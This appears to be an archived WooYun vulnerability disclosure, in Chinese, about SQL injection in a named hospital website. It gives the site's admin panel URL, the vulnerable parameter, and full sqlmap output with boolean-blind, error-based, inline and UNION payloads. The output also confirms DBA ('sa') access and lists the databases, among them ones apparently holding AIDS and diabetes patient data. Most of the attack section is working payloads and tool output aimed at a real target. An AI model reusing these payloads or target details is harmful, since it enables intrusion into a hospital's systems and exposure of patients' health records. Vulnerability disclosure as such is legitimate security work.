乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2016-02-02: 积极联系厂商并且等待厂商认领中,细节不对外公开 2016-03-17: 厂商已经主动忽略漏洞,细节向公众公开
请看这条消息http://www.gamh.com.cn/gamadmin/infomanage/comminfo/show.asp?Info_ID=1282他们还好意思在那叭叭叭
网站后台:http://www.gamh.com.cn/gamadmin/注射点:http://www.gamh.com.cn/english/huojiangmulu.asp?Info_Type_Name=Scientific%20Achievement&Info_Type_Code=20参数:Info_Type_CodeDBA+SA+MSSQL
sqlmap identified the following injection point(s) with a total of 258 HTTP(s) requests:---Parameter: Info_Type_Code (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=20) AND 8381=8381 AND (1970=1970 Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=20) AND 6004=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(122)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (6004=6004) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(122)+CHAR(113))) AND (1028=1028 Type: inline query Title: Microsoft SQL Server/Sybase inline queries Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=(SELECT CHAR(113)+CHAR(107)+CHAR(122)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (4733=4733) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(122)+CHAR(113)) Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=20) UNION ALL SELECT CHAR(113)+CHAR(107)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(110)+CHAR(99)+CHAR(73)+CHAR(89)+CHAR(88)+CHAR(102)+CHAR(116)+CHAR(71)+CHAR(65)+CHAR(99)+CHAR(73)+CHAR(79)+CHAR(109)+CHAR(85)+CHAR(76)+CHAR(69)+CHAR(115)+CHAR(68)+CHAR(103)+CHAR(85)+CHAR(88)+CHAR(102)+CHAR(111)+CHAR(70)+CHAR(119)+CHAR(109)+CHAR(73)+CHAR(118)+CHAR(119)+CHAR(99)+CHAR(81)+CHAR(122)+CHAR(82)+CHAR(79)+CHAR(85)+CHAR(73)+CHAR(72)+CHAR(101)+CHAR(113)+CHAR(108)+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(122)+CHAR(113),NULL,NULL-- ----web server operating system: Windowsweb application technology: ASP.NET, ASPback-end DBMS: Microsoft SQL Server 2000sqlmap resumed the following injection point(s) from stored session:---Parameter: Info_Type_Code (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=20) AND 8381=8381 AND (1970=1970 Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=20) AND 6004=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(122)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (6004=6004) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(122)+CHAR(113))) AND (1028=1028 Type: inline query Title: Microsoft SQL Server/Sybase inline queries Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=(SELECT CHAR(113)+CHAR(107)+CHAR(122)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (4733=4733) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(122)+CHAR(113)) Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: Info_Type_Name=Scientific Achievement&Info_Type_Code=20) UNION ALL SELECT CHAR(113)+CHAR(107)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(110)+CHAR(99)+CHAR(73)+CHAR(89)+CHAR(88)+CHAR(102)+CHAR(116)+CHAR(71)+CHAR(65)+CHAR(99)+CHAR(73)+CHAR(79)+CHAR(109)+CHAR(85)+CHAR(76)+CHAR(69)+CHAR(115)+CHAR(68)+CHAR(103)+CHAR(85)+CHAR(88)+CHAR(102)+CHAR(111)+CHAR(70)+CHAR(119)+CHAR(109)+CHAR(73)+CHAR(118)+CHAR(119)+CHAR(99)+CHAR(81)+CHAR(122)+CHAR(82)+CHAR(79)+CHAR(85)+CHAR(73)+CHAR(72)+CHAR(101)+CHAR(113)+CHAR(108)+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(122)+CHAR(113),NULL,NULL-- ----web server operating system: Windowsweb application technology: ASP.NET, ASPback-end DBMS: Microsoft SQL Server 2000current user: 'sa'current database: 'gamhospital'current user is DBA: Trueavailable databases [10]:[*] aids[*] gamhospital[*] keti[*] master[*] model[*] msdb[*] Northwind[*] pubs[*] tangniaobing[*] tempdb
全心全意为老百姓服务
未能联系到厂商或者厂商积极拒绝
漏洞Rank:15 (WooYun评价)